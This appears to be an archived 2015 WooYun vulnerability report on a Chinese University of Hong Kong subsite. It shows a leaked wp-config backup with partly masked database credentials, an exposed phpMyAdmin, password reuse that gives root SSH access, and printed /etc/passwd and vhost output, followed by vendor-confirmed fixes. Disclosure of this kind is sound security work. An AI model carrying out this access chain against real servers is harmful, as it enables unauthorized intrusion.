乌云(WooYun.org)历史漏洞查询---http://wy.zone.ci/
乌云 Drops 文章在线浏览--------http://drop.zone.ci/
2015-10-09: 细节已通知厂商并且等待厂商处理中 2015-10-12: 厂商已经确认,细节仅向厂商公开 2015-10-22: 细节向核心白帽子及相关领域专家公开 2015-11-01: 细节向普通白帽子公开 2015-11-11: 细节向实习白帽子公开 2015-11-26: 细节向公众公开
香港中文大学某分站存在漏洞(可获得系统权限)
#1 敏感信息泄露http://**.**.**.**/wp-config.php~http://**.**.**.**/wp-config.php~
<?php/** * The base configurations of the WordPress. * * This file has the following configurations: MySQL settings, Table Prefix, * Secret Keys, WordPress Language, and ABSPATH. You can find more information * by visiting {@link http://**.**.**.**/Editing_wp-config.php Editing * wp-config.php} Codex page. You can get the MySQL settings from your web host. * * This file is used by the wp-config.php creation script during the * installation. You don't have to use the web site, you can just copy this file * to "wp-config.php" and fill in the values. * * @package WordPress */// ** MySQL settings - You can get this info from your web host ** ///** The name of the database for WordPress */define('DB_NAME', 'wordpress');/** MySQL database username */define('DB_USER', 'wordpress');/** MySQL database password */define('DB_PASSWORD', 'cuhkd***');/** MySQL hostname */define('DB_HOST', 'localhost');
#2 phpMyAdmin对外开放
http://**.**.**.**/phpMyAdmin
利用获取到的敏感信息,数据库密码登陆,这里数据库的root,服务器ssh的root密码都通用;
直接shell连接ssh,root密码是对的:
#3 获取系统权限
#4 间接获取系统信息
[/var/www/html ]$cat /etc/hosts**.**.**.** localhost localhost.localdomain localhost4 localhost4.localdomain4::1 localhost localhost.localdomain localhost6 localhost6.localdomain6**.**.**.** **.**.**.**
[/var/www/html ]$cat /etc/passwdroot:x:0:0:root:/root:/sbin/nologinbin:x:1:1:bin:/bin:/sbin/nologindaemon:x:2:2:daemon:/sbin:/sbin/nologinadm:x:3:4:adm:/var/adm:/sbin/nologinlp:x:4:7:lp:/var/spool/lpd:/sbin/nologinsync:x:5:0:sync:/sbin:/bin/syncshutdown:x:6:0:shutdown:/sbin:/sbin/shutdownhalt:x:7:0:halt:/sbin:/sbin/haltmail:x:8:12:mail:/var/spool/mail:/sbin/nologinuucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologinoperator:x:11:0:operator:/root:/sbin/nologingames:x:12:100:games:/usr/games:/sbin/nologingopher:x:13:30:gopher:/var/gopher:/sbin/nologinftp:x:14:50:FTP User:/var/ftp:/sbin/nologinnobody:x:99:99:Nobody:/:/sbin/nologindbus:x:81:81:System message bus:/:/sbin/nologinavahi-autoipd:x:170:170:Avahi IPv4LL Stack:/var/lib/avahi-autoipd:/sbin/nologinvcsa:x:69:69:virtual console memory owner:/dev:/sbin/nologinrpc:x:32:32:Rpcbind Daemon:/var/cache/rpcbind:/sbin/nologinrtkit:x:499:497:RealtimeKit:/proc:/sbin/nologinabrt:x:173:173::/etc/abrt:/sbin/nologinhaldaemon:x:68:68:HAL daemon:/:/sbin/nologinntp:x:38:38::/etc/ntp:/sbin/nologinsaslauth:x:498:76:"Saslauthd user":/var/empty/saslauth:/sbin/nologinpostfix:x:89:89::/var/spool/postfix:/sbin/nologinavahi:x:70:70:Avahi mDNS/DNS-SD Stack:/var/run/avahi-daemon:/sbin/nologinrpcuser:x:29:29:RPC Service User:/var/lib/nfs:/sbin/nologinnfsnobody:x:65534:65534:Anonymous NFS User:/var/lib/nfs:/sbin/nologinpulse:x:497:496:PulseAudio System Daemon:/var/run/pulse:/sbin/nologingdm:x:42:42::/var/lib/gdm:/sbin/nologinsshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologintcpdump:x:72:72::/:/sbin/nologinmysql:x:27:27:MySQL Server:/var/lib/mysql:/bin/bashapache:x:48:48:Apache:/var/www:/sbin/nologinjones:x:500:0:Jones:/home/jones:/bin/bash
NameVirtualHost *:80<VirtualHost *:80> ServerAdmin joneschoy@**.**.**.** DocumentRoot /var/www/html ServerName gr.ovs.**.**.**.** ErrorLog logs/gr.ovs.**.**.**.**-error_log CustomLog logs/gr.ovs.**.**.**.**-access_log common</VirtualHost><VirtualHost *:80> ServerAdmin joneschoy@**.**.**.** DocumentRoot /www2root ServerName **.**.**.** ErrorLog logs/**.**.**.**-error_log CustomLog logs/**.**.**.**-access_log common</VirtualHost>
#1 删除敏感备份文件#2 phpmyadmin管理入口做访问控制
危害等级:中
漏洞Rank:10
确认时间:2015-10-12 17:43
已將事件通知有關機構
暂无